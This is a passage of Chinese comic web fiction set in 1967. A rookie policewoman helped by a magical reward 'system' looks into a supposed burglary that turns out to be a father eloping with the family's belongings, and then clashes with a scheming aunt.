她从办公室出来,歪歪头,总觉得卫副所有点奇怪,但是应该没啥吧?如果真是有什么事儿,她爸应该也会提前给她提醒的。都说蓝大叔是百事通,她爸也不遑多让的啊。
所里有几个耗子洞都知道的。
杜鹃打起精神,雄赳赳气昂昂的回到了自己的办公室。
卫副所抹着额头的虚汗,低声嘀咕:“你是不知道,咱所外勤有多少狗屁倒灶的事儿啊!年轻,还是年轻啊……不过,杜国强咋没跟闺女说?”
就奇怪!
不过杜鹃同意了,也就不担心杜国强闹事儿了。
别看他是领导,但是真扛不住杜国强。
毕竟,谁家正常老爷们闹事儿是去别人家一哭二闹三上吊啊!
他还要脸!
这可是杜鹃自己答应的!
卫副所闷了一口水,放心几分。
杜鹃不知道领导背地里的嘀咕,朝气蓬勃的回去。
办公室几个人正在讨论昨天的案子,杜鹃赶紧凑上去听。
她好奇:“昨天那人,是怎么发现不对劲儿的啊?他媳妇儿举报的?”
张胖子摇头:“一说结婚四次,蓝大爷立马儿就看出不对了。因为彩礼,他结婚四次了,而且又不是初婚,肯定都要给彩礼吧?娶了这么多次,好人家哪会给闺女嫁过去,就是那种卖闺女的才乐意呢。既然是卖闺女彩礼就不能少了。而家里女儿死了都能不找女婿闹,可见给的不少。这一细查,每次彩礼都给八百,他就算是司机赚得多,这收入也是对不上的……再加上他媳妇儿的怀疑,这就值得细查了。蓝大爷一诈就露馅儿了。”
杜鹃睁大眼,一诈就露馅儿?这么容易吗?
张胖子看出来了,笑着说:“这诈人也分是谁干,别人可未必成。也要有手段的。所以说啊,老公安啊,且得年轻人好好学。”
杜鹃认真点头,不过随即又好奇的说:“那案子移交了不用我们管,我们是没事儿了吧?还挺轻松,都不忙的……”
还没说完,张胖子一下子跳起来:“不要说!”
随即叫唤:“啊啊啊!完蛋完蛋,不能说不忙啊……这玩意儿一说,保准有事儿。我跟你讲,这个你不能不信邪,我……”
正说着,就看一个半大小子跑进来:“公安,公安叔叔,我们、我们家进贼了,你们快去看看吧……”
张胖子:“……”
杜鹃:“……”
这么邪门的吗!
8.自来熟
“快点,快点,你们跟我来!”
半大小子一身的牛劲儿,跑的嗖嗖的,跑几步还要停下等一下。
他家在火车站后街,因为靠近火车站,这一片儿出了名的乱,解放前这边全是小旅馆,不少都是干黑店的。解放后整顿过好些次,现在早就不是二十年前了。
不过仍是三教九流的聚集地,距离车站近嘛,总归还是比别的地儿乱一些。
杜鹃几个人跟着人过来,这边都是密密麻麻的小平房,巷子很窄,一家挨着一家的。窄窄的巷子还有臭水沟,苍蝇满天飞。杜鹃一走进巷子险些被熏了一个倒仰。
“这边这边。”
其中一家门口,围着一大群看热闹的。
“哥,哥!公安来啦,公安来啦!”这小子嗷嗷一喊,瞬间就散了个七七八八。
杜鹃:“!!!”
你们跑的也太快了吧?
这得是多怕公安啊!
不过也有一些好热闹的大爷大妈凑在门口嘀嘀咕咕看热闹,窃窃私语。
张胖子很快的带人进了院子,杜鹃到了第一反应就是先观察现场,这院子不大,门窗大开,东西堆放的乱七八糟的,院里的草都要到膝盖了。可见这家子不是什么勤快人,谁家院子草能长这么高啊。
一个小青年蹲在台阶,头发乱糟糟的,耷拉脑袋。
他震惊的看着几个公安,局促的搓手,随即结巴问:“你你你、你们咋来了?”
随即又瞪那半大小子:“你咋给公安找来了?”
半大小子理直气壮:“咱家进贼了,不找公安找谁!”
“我不是让你去找咱爸!”男青年怒吼!
“可咱爸丢了啊!那不是更得找公安了。”理直气壮。
张胖子:“我们是十道街派出所的,我姓张,有困难找公安,这个小同志做的对的。你说说具体情况,是你家进贼了?你是什么时候发现的?”
张胖子是领头儿的,但是其他几个人也是各有分工的,陈晨提着箱子进屋采证,陈正民开始在院子里到处张望检查,墙头门锁,一一查看。
杜鹃作为新人,自然是也没莽着窜,她跟在一边儿学经验。
“我刚才睡觉起来,就看到我家门大敞大开的,家里自行车没了,我爸那屋的缝纫机也没了,柜子都是打开的……这该死的贼啊!这么多人家,凭啥偷我家啊,我这苦命的人儿呦!”
小青年抓着头发,嚎了出来。
张胖子:“你家一共几口人。”
“我和我爸还有我弟一起生活。”干嚎一秒收。
他指了指刚才去报案的半大小子,说:“这是我弟。”
杜鹃嘴角抽了抽,这个我们已经知道了。
“那你爸呢?”
“没瞅见。”
半大小子赶紧说:“我去我爸单位找人了,没找见。人家跟我说我爸辞职走了,你们说我爸是不是丢了?这咋整啊?他们还说进贼得报案!”
他还挺得意:“我就立马去派出所了。找我爸的事儿,不着急。”
张胖子眼神闪了下,有点猜测,随即点头:“你做得对。”
他继续问:“那你说说你是什么时候发现不对劲儿的……”
陈正民检查了一会儿,叫:“杜鹃,你来。”
她第一次出现场,哦不,昨天出过了,但是不同的。
陈正民交代:“你去门口跟那些邻居们打听一下,看看有没有人知道点什么。”
杜鹃点头,她正要转身,视线落在锁头上,柜子是打开的,但是锁头不是撬开的,而是拿钥匙打开的。
她立刻说:“这是钥匙开的。”
陈正民对她的细心很满意,点头,冲她努了下嘴,杜鹃顺着他的意思看过去,那是门锁,门锁也没有破坏。甭管是窗户还是门,都没有破坏。
“去问问吧,可能不是小偷。”
杜鹃:“好嘞。”
别看刚才呼啦一下子散开撤退不少人,但是还有一些人看热闹呢。
一些大爷大妈都好事儿的瞅着呢,叽叽喳喳,这要不是对公安有畏惧,早就进来看热闹了。就这,一个个的也窃窃私语的。
杜鹃出来直奔几个嘀嘀咕咕的大娘身边,主动问:“大娘你好,你们也是住在这一片儿的?”
几个老太太正贼眉鼠眼的看着嘀咕呢,乍一见杜鹃,眼珠子从上扫到下,连连打量:“这闺女长得真俊。”
杜鹃笑了下,说:“是呢,我自己也这么想,每次照镜子都觉得自己真好看。”
老太太噎了一下,愣是没接上话。
别看杜鹃穿了一身公安制服,但是她这人没什么攻击性,不是那种艳丽的好看,反倒是一双有神的大眼睛,鹅蛋脸儿,很有亲和力。这会儿她带着几分八卦的问:“大娘,你们都是住在这一片儿的吧?这家子的事儿,你们邻里邻居的都晓得吧?这家咋回事儿啊,这日子过的……院子里的草也忒高了。我刚进去还以为能有蛇呢,他家都不拾掇啊。”
她当然不是公私不分的碎嘴子,但是她知道怎么迅速跟人打成一片。
嗯,天生的!
遗传自亲爹。
“嗐,拾掇啥啊,一家三个老爷们,他爹一个老鳏夫领着两个小子,一家子可是懒到一起了,我就住他家隔壁,愁都愁死了,他家不拾掇,那苍蝇嗡嗡的,夏天都窜我家了。就你看着草,这么高的草,夏天且招蚊子呢,那给我家咬得啊!你来找他家闹腾也没用,厚脸皮的。我们家跟他家处邻居啊,处的够够儿的。”一个大妈应了杜鹃的话,跟着吐槽起来。
杜鹃也没拿本子出来记,就唠嗑儿一样。
她说:“摊上这样的邻居可真是挺遭罪。”
“那谁说不是呢?”
杜鹃小脸儿真诚唠嗑儿:“不过你们这民房也有民房的好,我家是楼房,楼上楼下打个喷嚏声儿大点都能听见,你们这最起码各家是各家。”
“这你就说错了,我们这也没好哪儿去,就说他家,一大早开门,嘎吱的动静儿,我都听见了。”老大娘撇嘴。
杜鹃含笑:“您听见了啊!您说说呗?”
这话一出,老大娘猛的又顿住,觉得自己多嘴了。
杜鹃胳膊肘拐拐她,说:“大娘您就说说吧,咱早点处理好了,您也放心了不是?不然你说这一片儿闹贼,您作为邻居,就不担心啊!保不齐今天偷了他家,明天去你家门口转悠呢。是吧?”
老大娘瞅瞅杜鹃的胳膊,嘀咕:“你倒是个自来熟儿的。”
她哼了一声:“我可不担心啥!有个屁的小偷。我一大早出来开门,就看到他家老头儿一手扛着缝纫机一手扛着自行车,身上还背个大包袱,走的那叫一个急匆匆。根本没有贼,就算是有贼,也是他家的家贼。”
另一个老太太撇嘴,嘀咕:“我也看见了,我在巷子口看见的。我问他干啥去,他还跟我说串亲戚,当我是个傻子不成!个老登!”
“我也看见了……”
杜鹃:“……”果然如此啊。
她疑惑:“那他家老爹为啥这样啊?”
“还能为啥,为了女人呗!他家那老头儿,自从媳妇儿走了,找了一个又一个的,也就是我们人好,不然都要举报他乱搞男女关系了。听说最近跟一个外地来的寡妇打的火热,俩人都要商量私奔了。”
“男人啊,哼,我见得多了,一个个的呦,呵呵呵,那是亏了啥都不能亏了那点事儿。”
杜鹃微微脸红,抠起手指。
但是啊,她还记得自己是在工作呢,又说:“他又没媳妇儿,直接娶了就是了,咋的还要私奔?撇家舍业的,那不是傻吗?我看着房子挺好的,又有工作又有住处,好好过也挺好啊。”
这话不假,这家的老头儿是哥有手艺的,他是在火车站附近的自行车修理铺上班儿,正式职工,手艺活儿。
杜鹃不解,但是总是有人给她解惑的。
不管什么时候,可都不能小瞧了这些街头巷口的大爷大妈,谁家的那点事儿啊,他们都尽在掌握,堪称情报界第一人。这不,杜鹃疑惑的表情取悦了大家,一个老大娘立刻说:“这你就不懂了,看见没?看见他家老大没?二十一了。再看小的,十四了。这老大紧赶着就要找媳妇儿了,老二等几年也快了。谁家是空手结婚的?他结婚给钱花了,老大结婚花啥?过几年老二又怎么办?他家两个小子哪能同意啊!”
另一个老大娘也嘀咕:“再说人家那女方才三十来岁,找他一个快五十的,想过的是好日子,谁想嫁进来给他家儿子做牛做马的?那女的我见过两次,柳叶弯眉樱桃口,谁见了都爱瞅。也难怪老贵老房子着火了。”
杜鹃无声的笑了一下,说:“长得这么
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好啊,长得这么好啥样的找不到啊?找个大爷?”
这话说到大家的心里了,赶紧说:“所以说就奇怪啊,保不齐那女人以前不是什么正经职业。不然图啥啊!”
杜鹃把大家的话一一记住,又问:“怪不得你们都不担心这一片有小偷儿呢。”
“小偷儿?别说没有,有的话我也不怕,谁敢偷我,我锤死他!”
“你家穷的耗子看见都流泪,小偷儿才不去你家。”
“你可闭嘴吧,哪都有你。”
杜鹃眼瞅着老太太要吵起来,赶紧说:“大娘,你们知道的可真多。”
这一打岔儿,大家纷纷自得。
“这话对,嗐,这一片儿没我不知道的,他家老贵自己跟老娘们走了,这还给你们招来了,真没必要。”
一个老头儿带着几分高深,呵呵一声,说:“你们知道的没我多啊!我就实话告诉你们吧,你们这消息啊,不如我。”
杜鹃立刻顺杆儿爬:“大爷,您这消息更灵通?您别是吹牛吧?”
“吹牛?你这小同志,你是不晓得我牛三儿的消息啊。哼,吹牛什么,我告诉你,我知道的可多。老贵跟我说了,他打算跟那女人去那女人的老家生活,啥小偷啊?!他家压根儿没进贼,他自己收拾东西走的。我听说是今天中午的火车,就不知道为啥出门这么早,估计是怕被他家大贵二贵发现……”
杜鹃眼珠子滴溜圆儿,赶紧追问:“是我有眼不识泰山,那您晓得是哪趟车吗?”
老头儿扬着下巴,鼻孔朝天,重重的喷了一口气,说:“我干啥要告诉你?你不是不相信?”
杜鹃疑惑的上下打量他:“您不会是不知道吹牛的吧?”
激将法虽老,但是有用!
老头儿瞬间气急败坏:“你这小同志,你就眼神儿不行,我吹牛?不可能!虽说哪趟车我不晓得,但我知道那女的一口唐山口音。肯定要去唐山的,我不知道?我还能不知道?我是最知道的!”
杜鹃还没开口,院子里的大小伙子突然就窜出来,怒火中烧:“好你个老牛头,原来你啥都知道,你这瘪犊子,你啥都知道竟然故意不告诉我,眼看着我家这一早上嚎着丢人,你个黑心肝的老毕登!”
牛三儿可没想到,自己叱咤江湖这么多年,还能让一个小伙子给挤兑了,攥着拳头就冲:“你个没大没小的小兔崽子,老子想说就说,不想说就不说,你他娘的骂谁黑心肝?你说谁是老毕登?真是反了你了,你爹不在,我就替他好好教训教训你个小兔崽子!”
他一拳头就打了过去,青年叫大贵,他爹老贵,他弟弟二贵。
大贵也是个不消停的,直接就迎上去:“你当我怕了你?长江后浪推前浪,你这前浪就该拍死在沙滩上。”
咣当!
两个人撞在了一起。
一人一拳头,都造个乌眼青,杜鹃可真是万万没想到,这两个人一言不合就打架啊,她,职场新新青年,工作热情是有的,但是经验是没有的。
这俩人太突然,她愣是没反应过来。不过很快的,她就一手拽住一个:“都给我住手!”
大贵这才仔细看了杜鹃,顿时眼前一亮,瞬间露出谄媚的笑容,说:“公安同志,你贵姓?以前没见过你啊!你是新来的?你……”
啪啪啪!
三个大逼斗,一下子把大贵扇翻在地。
牛老头得意洋洋,飞快上手,鼻孔喷气:“臭小子,我收拾不了你了?”
“你他妈……”
“好了,你们当这是你家炕头啊,再打就都拘留!”张胖子也很快出来,脸色严肃:“你们这是不把我们当回事儿啊!我们公安都在就动手,一个个想干什么!”
“是他打我!”
“是他先骂我!”
两个人互相瞪视。
大贵很快的转头儿,又看杜鹃,这女公安真好看啊。
杜鹃瞪他一眼,只是还不等她反应,突然就冲出来一个老大娘,她如同炮弹一样冲过来,一言不合,直接抓挠!奔着大贵就是一顿猛如虎:“我让你欺负我家老头儿!!!你爹跟人跑了,你想拿我家老头儿出气?没门儿!看我不收拾你个小瘪犊子,受死吧!”
杜鹃吓了一跳,啊这!
她赶紧上前拉架,这基层不工作,不好做啊!
这就打起来了?
9.大脸猫
杜鹃几个人终于给人拦住了。
大贵惨败,让牛大爷老两口一顿揍!
张胖子严肃批评了双方,随后语重心长:“大家都是老邻居,你说你们打一顿多伤感情?大贵,我晓得你爹的事儿让人上火,但是你也不能张嘴就口出恶言。不管咋说,牛大爷人家可是主动提供线索,是好心。你这样干以后人家有啥也不好说了,明明能够多一事不如少一事,可这些邻居还一个个提供线索,这都是出于真挚的邻里情,也是好心,你可不能让大家寒了心。牛大爷我也得批评你两句,这年轻人冲动了些,但是那是让他爹给气的,咱何必跟这小辈儿计较,知道您委屈了,但是咱也不能打人啊。你看看,你看看大小伙子让你们打的。这有理都变成没理了。你说是吧,下次可别这么冲动了。我晓得大热天儿的大家都火气大,但是你说打一架不是更热?都是好人,咱好人和好人可不能窝里斗。”
张胖子倒是会说话,一番安抚,双方表情都没那么难看了。
“这事儿你们看我是领你们回所里处理还是你们就言归于好了?”
大贵:“算了算了,也是我先嘴贱,我回家擦点紫药水吧。”
牛大爷:“也是我们不该动手……对不住了。”
这握手言好的倒是很快了。
张胖子点头:“这就对喽,大家往后还是好邻居。”
杜鹃在一边儿就差掏出小本本记录了,这得学啊,她要学的,可真是太多了。
这打的突然,握手言好的也很突然啊。
张胖子:“今天进贼的事情,虽然已经有些进展,也有目击证人证明是你家老爹自己拿走的自行车缝纫机等,但是既然报案了,我们就得管到底的。大贵小贵你们也别上火,我们会继续跟进,争取尽快联系到你父亲,给你们家一个结果。”
虽说在大家的证词之下,大家都晓得这家子也确实没贼,但是他家老头儿走了,总归得找一找,给这两个人个说法。
大贵顶着一张五彩缤纷的脸,嘀咕:“不用找他了,他就是个没良心的。”
“总归还是要联系一下他的,怎么着也得清清楚楚的。”
他看向了杜鹃几个,说:“大家再打听一下跟老贵私奔的那个女同志的情况,看看有没有人知道她的具体情况,如果能有个联系方式就更好了。”
又跟陈正民说:“你现在立刻去车站,看看还能不能堵到人。”
“好。”
陈正民一走,陈晨立刻跟上。
大贵攥拳头:“我也跟你们一起去!别让我抓到这色迷心窍的老家伙!”
“那行,你跟我走。”
三个人匆匆离开,有几个好看热闹的,也跟上了。
杜鹃干劲儿十足,再次混入老大妈老大爷堆儿里,别看老百姓一般不太乐意跟公安打交道,但是张胖子一口一个“热心群众”,一口一个“好人好心”,又是“感天动地邻里情”,又是“好人就该帮着好人”。果然,大家提供线索还是很踊跃的。
杜鹃:学到了学到了!
她听了好几茬儿,也记下来不少线索。
四个人两两分组,陈正民他们在车站没有找到人,几个人了又一起走访了附近各家招待所。这女人是外地来的,肯定要有住的地方,就算是没住招待所,也得有个落脚点。
他们又打听了这一片儿的各个片长儿。
几个人忙活了一小天儿,杜鹃下午又跟着几个老前辈,一路忙活,小嘴儿叭叭的,没少发问。
“张叔,这偷自家东西,还要查的这么严格吗?”
“张叔,他们当着咱们面儿打架,这就算了?”
“张叔,我们四个人全都分散开走访是不是调查的更快啊?”
“张叔,这种情况,咱们是要把人薅回来吗?现在婚姻自由吧?”
“张叔,大贵岁数大了暂且不说,小贵这年纪,老贵算是遗弃罪吧?是吧是吧?”
“张叔,今天打架那双方打的太快,停的也太快了吧……”
张胖子觉得脑子嗡嗡的,他都有点耳鸣了。
你说不让她说吧,人家是勤奋主动,而且还是在道儿上问,不耽误事儿。
张胖子揉着太阳穴,深深觉得杜国强这货是故意折磨他们。
他闺女也太碎嘴子了吧?
以前不这样啊!
哦,行吧,这叫热爱工作。
张胖子深吸一口气,说:“参加工作之后你就记得,每一个看起来不那么方便的规定,背后肯定有一个不太好说的故事。时刻有个同伴是保障咱们公安自身的安全。解放初期特务多,搞破坏的也多,咱不少同事都吃了亏。有同伴互相照应更安全。”
他又说:“咱是基层派出所的,像是昨天遇见的那种大案子,那是少之又少。那种咱也处理不了。大部分的,都是鸡毛蒜皮的家长里短。这家长里短的矛盾多了去了,大部分时候都是互相调节一下就行。你也不能因为老太太挠人几下子就把人拘留吧?你要是真这么做,挨挠的那个都会认为你小题大做。那为了一根葱一头蒜扇大逼斗的事儿多了去了。过日子就是这样的。很多家长里短啊,他们老百姓也不乐意让咱们公安掺和,都是邻居,也不是啥深仇大恨,没有想给对方送进去的。像是这边独门独户的,已经算是摩擦少了。你往里头走,机械厂家属院儿那边,好些个大杂院儿,你过去就知道了。一个院子里面十几家,那边才叫一个热闹。咱基层公安,就是这样的,家长里短的小事儿多,也不是每一件事儿都上纲上线。为人民服务嘛,让大家痛快的解决问题才是正经的。”
杜鹃若有所思的认真点头。
“但是有一点,这种涉及到钱的事儿,就算是大家都证实是老贵自己拿走的,我们也得做一个确认。以免有人浑水摸鱼,以后出现问题。”
杜鹃:“我知道了。”
杜鹃觉得自己又学到了呢。
她觉得自己挺游刃有余的打听,但是感觉没有张叔说话圆滑,要学要学。
“那我们已经找到这个女人住店留下来的介绍信和地址,下一步是去唐山吗?”
“你想的美,我们跟当地派出所联系,那边会协助我们的,走吧,差不多了,该回去了。明天我去登记一下,然后跟那边发函……”
杜鹃:“哦哦哦。”
四个人忙活了小一天儿,回到所里,差不多也要到下班了。
杜鹃瞅着还有点时间,也不着急走,把今天的工作都记下来,认认真真——杜鹃的工作日记。
第一天,三街招待所捉奸引发大事件。
第二天,火车站后居民区居民家庭失窃事件。
刷刷刷。
杜鹃:热情工作!
铃铃铃!
下班的铃声响起,杜鹃伸了一个懒腰,起身,正要背包,犹豫了一下,看向其他人,真诚发问:“下班能走吗?”
“噗!”
几个人都笑了出来。
“下班当然能走,不走住这儿可没人管饭。”
杜鹃俏生生的笑了,这才背上斜挎包,清脆的说:“那我先走啦!”
脚
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步轻快。
别看今天在外走了一天,但是一点也没懈劲儿呢。
张胖子:“刚上班的人,就是有朝气。”
“那可不。”
大家也都纷纷收拾东西,下班走人。
杜鹃可着急了,她想回家看看,自己的那个“统子”有没有什么新提示,其实她今天一直都蠢蠢欲动的想戳开看看,虽说这个统子看起来很简单,但是实时播报保不齐能提供什么线索呢。
蠢蠢欲动!
忍住忍住!
他们这一小天儿都一直都在外面跑外勤调查,当着这么多人的面儿,她也怕露馅儿。好不容易才忍住。当然啦,还有一个原因是她晓得自己该多动脑,不能全靠提示走捷径。不然的话如果有一天这个统子没了,她可咋办?
所以,要跟着老前辈多学习。
这不,终于下班了。
她迫不及待的想回家赶紧看看。
杜鹃骑着车,蹬的嗖嗖快,眼看就要到家了,突然间,听到一道叫声:“杜鹃!是杜鹃吗?”
杜鹃嘎吱一下子停了,顺着声音看过去,就见一个三十大几的妇女,她推着自行车,不可置信的看着杜鹃。
哦,不是旁人,正是杜鹃的小婶。
杜鹃:“小婶啊?你这是下班呢?”
杜鹃的小婶叫谭晓娟,在服装厂的办公室上班。
这会儿谭晓娟的脸色难看的能滴出水儿了,她上下打量杜鹃,强撑着咬牙说:“杜鹃,你去公安局上班了?”
杜鹃一声公安制服,不瞎都看得见。
杜鹃:“我接了我爸的班,现在在派出所。”
“什么!”谭晓娟吼了出来,质问:“你接你爸的班,为什么不跟家里说!这怎么能你们家自己就决定了!”
杜鹃:“???”
她挑挑眉,笑着说:“小婶,我接的是我爸的班,是我亲爸的班,我爸同意我妈同意我舅舅同意,还要征求谁的同意啊?你怎么奇奇怪怪的,你家的事儿,也不会事无巨细的告诉我们家啊。“
谭晓娟碰了个软钉子,不觉得尴尬,反倒是依旧质问:“你这闺女怎么说话的!这事儿当然得跟你爷奶说!你爸也太不孝顺了。这工作怎么能给你!”
杜鹃噗嗤一声笑出来,说:“我爸孝不孝顺还轮不到小婶你管啊?你孝顺也没看你给我爷奶准备什么。嘴上说的孝顺谁不会?哦~~~有些人嘴上都不会呢,一回村里鼻孔朝天呢。看不起这个看不起那个的,还想给我爸泼脏水说他不孝顺,这嘴巴一张一闭,诋毁就出来了,您可真有意思呢。”
杜鹃可不怵这个小婶,嘴她两句没什么,她是小辈儿,但是嘴她爸爸不行!
惯的她!
杜鹃继续:“我爸的工作给我,你这个弟媳妇儿倒是不同意了?你哪来的脸不同意?啊?该不会是你想算计我爸的工作吧?不是吧不是吧?你不会真的这么想吧?小婶啊,我家的工作,跟你这外八路儿的亲戚有什么关系啊。你可真是想的美~~~”
她上上下下的打量了一下谭晓娟,挑眉说:“我是小辈儿,有些话也不好说,您在家等着吧,我爸妈晚上登门!”
这年头儿,谁家没俩极品亲戚?
她不再搭理这个自视甚高还想占便宜的小婶儿,转头儿骑车就走。
她一个小辈儿不好说更难听的,她爸妈行啊!
想要她爸的工作?
想屁吃!
大脸猫!
啊呸!
侮辱猫猫了!
猫猫那么可爱!
10.真抠啊
这年头儿,谁家要是没两个极品亲戚,都不好意思说自家是个大家口儿。
杜鹃对这个小婶儿那是够够儿的,不过长辈的事儿,还轮不到她掺和。她爸一个人耍猴儿就能给收拾她一百回合。杜鹃就不懂,小婶儿在她爸妈手里吃多少亏了,但是还是蹦跶的欢。
她爷是偏心小叔一家子,但是她爷不管事儿啊。
她爸这边的长寿基因哎,她太爷爷还活着呢,八十一,耳不聋眼不花,现在还当家呢。
哦,她太奶也活着呢,跟她太爷爷同岁。
老两口携手叱咤风云,管的一家子都跟孙猴子一样逃不出如来佛祖的手掌心。
她爷和她叔爷至今都在她太爷爷手底下讨生活呢。六十好几的人了哎!至今上头还有大山,也是苦!
她老家还在村里的亲戚是没有分家的,他家每年过年过节回农村,都觉得脑子嗡嗡的,四十多口人啊!他们家只有她爸杜国强还有小叔杜国伟分出来了。但是这没辙,算起来,这两个基本都跟入赘没啥区别了。
老爷子又不缺孙子,她爸提出每年交养老费,老人家同意了。
她小叔倒是不想乐意,但是还是那句话,太爷那老头儿不缺孙子,又不是长孙,他是豁得出去闹的。所以她小婶异想天开的打算利用她爷出头儿想谋算他家的工作,那是猪上树还离谱。
因为那老头儿压根说了不算,家里还有说了更算的老·老头儿。
杜鹃压根没给她那红眼病整天盯着别人家东西的小婶儿放在眼里,一路回家,第一件事儿就是呼叫系统:“天降正义?”
系统的屏幕瞬间亮起来。
杜鹃迫不及待看向了余额。
余额:86.5
杜鹃眼珠子一下子就睁的大大的,敢情儿今天忙活一天,就得了0.5?
杜鹃震惊杜鹃不解杜鹃迷茫。
她昨天啊,可是一下子得了10100的!
今天就0.5?
差距这么大的吗?
要是一开始就是0.5,循序渐进增多,杜鹃还是比较能适应的,这咔嚓一下子掉下来这么多,她才是真的懵懵的。
原来积分这么不好赚吗?
杜鹃赶紧看向下面的实时消息。
实时消息:一九六七年七月,协助查清贵家失窃乌龙,获得金币0.5。
杜鹃眼睛大大的,看了好半天,确认就这么一行字。她挠挠头,苦哈哈的叹气。
这“统子”是会打击人的。
杜鹃一进门,从激动到失落,最后变成了绝望。
杜国强看的真真儿的,他也没打扰闺女,眼瞅着闺女委屈巴巴的重重叹气,这才开口:“给的少?”
杜鹃瞬间委屈,鼓着脸蛋儿控诉:“我今天,我今天一大早就出外勤了,从上午一直到下班,一直到处走访,可忙可忙了,腿都走细了,回来一看,嚯,0.5!”
杜鹃小气愤:“他连一个金币都不给我!一个都不给我!”
杜国强噗嗤一声,喷了,说:“才0.5?”
他也没想到!
虽然想到可能会少,但是没想到这么少!
一顿操作猛如虎,一看金币0.5。
“这也太抠了吧?这系统真差劲!”
杜鹃:“就是,一个金币都不给我!0.5,买鸡蛋都不够!”
虽说鸡蛋是一个金币10个,但是,它是以金币为单位啊!一金币起买!
杜国强:“就是就是,鸡屁股都买不起!”
杜鹃:“……那个,那倒也不是很想买这个。”
不过杜鹃也是一个乐观的人,虽然小抱怨,但是也没太走心,这边没啥大收获,转头儿就说起来:“我今天遇见小婶了……”
阿巴阿巴!
杜国强贼看不上这夫妻两个,嗤笑一声,说:“这厚脸皮的玩意儿,你等着,等你妈回来的,我去找他家算账。你小叔那个心机深沉的缺德玩意儿最会躲在女人后头,让女人冲锋陷阵,自己拿好处了。等我去扒皮!要不是他在背后撺掇,我杜字儿倒着写。就你小婶那个猪脑子想一百年也想不到这个,肯定是他搞的鬼!”
杜鹃激动:“我也去!”
她兴致勃勃的说:“我刚才回家的路上就想过了,可以试一试除了工作上的事儿,它对其他事儿有没有反应。如果有,那可就太好了呢。”
杜鹃盘算的很好呢。
杜国强:“行,咱试一试。”
别看杜家一大家子只有杜国强和弟弟杜国伟进城了,但是他们兄弟还真是没啥往来,就四个字儿:关系不好。
这事儿要是仔细说起来,就跟那老太太的裹脚布一样,又臭又长。
杜国强提都不想提,膈应!
但是想要谋算他的工作,没门儿。
杜国强:“他家哈,真是隔几天就皮痒,以前我是公安我得顾及一下影响,咱不能给这身衣服抹黑。现在我一家庭妇男,他家再给我找茬儿,我可不是以前以德服人了,你瞅着吧,我锤死他!孔子曰:打架用砖乎!我这是遵循老祖宗的话。”
杜鹃无语,她幽幽:“孔子说过吗?”
杜国强:“说过的!鲁迅也说过!”
他一本正经,杜鹃有那么一瞬间都怀疑自己了,不过很快的,嘟嘟囔囔:“鲁迅说,我没说过。”
杜国强:“你懂还是我懂?”
杜鹃:“我高中毕业。”
杜国强:“有本事你别比学历,比阅历,读书多不代表知识更多。”
再说,他学历也不差啊,别看这辈子,看上辈子啊!
他上辈子可是正八经大学毕业,985,懂吗你!傻闺女!
可惜啊可惜,他学的专业是物流,这穿越之后半点也用不上。
呜呜,早知道能穿越,他学个用得上的啊!学屁的物流啊!
物流害苦了我!
“我告诉你,我虽然学历没你高,但是我内秀!”
杜鹃:“我高中毕业。”
杜国强:“我经历丰富,知识储备深厚。”
杜鹃:“我高中毕业。”
杜国强:“……”
特么的,闺女是复读机啊!
他摆手:“去去去,读过高中了不起啊。”
杜鹃笑嘻嘻的,撒娇:“是啊是啊。”
杜国强翻白眼儿:“这给你显摆的。哦对,这个周末我要回村里一趟,你去吗?”
杜鹃:“去!”
她一下子来了精神,说:“我上回回去,狗蛋儿还说要带我上山摘野果子呢,他说七月份就有桃儿了。”
狗蛋儿是杜国强堂哥家的孙子,今年六岁。
他们家一直没分家呢,如今全家已经四十多口人了,要是算上进城的杜国强还有杜国伟两家子,都要奔着五十口子去了。是全村最“大户”的人家。
杜鹃这样半年回去一次的丫头,每次进村遇到一群小孩儿,都分不出哪个是自家的!
不过她倒是跟狗蛋儿关系好。
这娃长得最潦草,一眼就能认出来。
所以每次她都第一个认出狗蛋儿,因为这种“特殊”,狗蛋儿认为杜鹃最喜欢她,所以每次有好东西都想着她。
感情都是双向的,狗蛋儿想着杜鹃,杜鹃自然也不例外,每次都偷偷给他塞好吃的。
关系铁着呢。
杜鹃:“我都跟狗蛋儿约好了,可不能放他鸽子。”
杜国强:“那就这么定了,咱这周天回去。”
虽说他来之前,“杜国强”在家里是个透明人,但是杜国强倒是没有太埋怨这个家。四十年代,那会儿东北的日子,但凡是有点常识的都知道,日子太苦了。
他们家虽说没人最偏爱他,但是大家都过的苦,他也没像是很多人那样因此仇视原主儿的亲人,都是穷的叮当响,他饿别人也饿,那会儿就那个世道。
所以他就是正常跟家里人来往着。
“这次回去我跟你太奶预定点花生,花生下个月,最迟下下个月就要起了,咱到时候多换点今年的新花生,回来烘着吃。”
杜鹃:“好。”
“到时候我再跟家里说一下,给咱捡一点山核桃大榛子什么的。”
这个年头儿没什么零嘴儿,好在身在北方,这种东西还是不少的。换一些冬天里打个牙也是很好的,有营养也香。要是搁了上辈子,杜国强都不敢相信,有一天自己会看见野山核桃都激动的都跪地痛哭。
那会儿真没吃的啊。
杜国强坚信以形补形,所以每年都会给杜鹃换一些山核桃,补脑!
不知道真假,但是他坚信补脑。
杜国强跟着闺女碎碎念:“就不知道今年苹果是怎么分,如果能换的话,咱也可以换一点。”
别看他们是城市户口,在城里生活有定量,但是要说物资丰富,真是不如村里。
靠山吃山,村里人再怎么也能进山倒腾点东西,或多或少,那是有点的。但是城里如果没工作,那日子是真不好过。不过村里人一年也就够个吃用,攒钱也是不易的。
所以杜国强每年都会回家换一些东西,他也不白要,他换点山货,村里人换点农村没有的票,大家都皆大欢喜。
杜国强基本不去黑市儿,都是
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跟村里人,哦不,准确说是自家人换。
安全!
他念叨:“不知道能不能换点细粮。”
总是吃二合面,人也遭不住啊!
他家倒是工资多,但是这年头儿好东西不是有钱就能买的,那得有票的!
杜国强盘算起来,杜鹃:“我觉得……”
咚咚咚!
敲门声响起,杜鹃主动开门:“云婶子?”
来人是邻居,云婶子:“你妈下班了吗?”
杜鹃:“还没呢,估计厂里有事儿,咋了?你找她啊,有啥我给你带个话。”
云婶子也是个爽快人,说:“行,你跟你妈说一声,我周天想找她掌厨儿。”
杜鹃疑惑:“咦?掌厨儿?好,等我妈妈回来,我跟她说。您家这是……?”
她好奇的很。
云婶子得意一笑,高兴的说:“你维中大哥要相亲,那姑娘条件可好,家里是干部家庭,人也漂亮,是电影院工作呢,售票员。这不,我想着你妈做菜可比我强多了,找她帮衬着做个席面,也是重视人家闺女了。再说我要买鱼买肉,我这手艺,都糟践了好东西。可得你妈这大厨儿出手。”
杜鹃:“那蛮好啊!等我妈妈回来,我第一时间告诉她。”
“好嘞!”
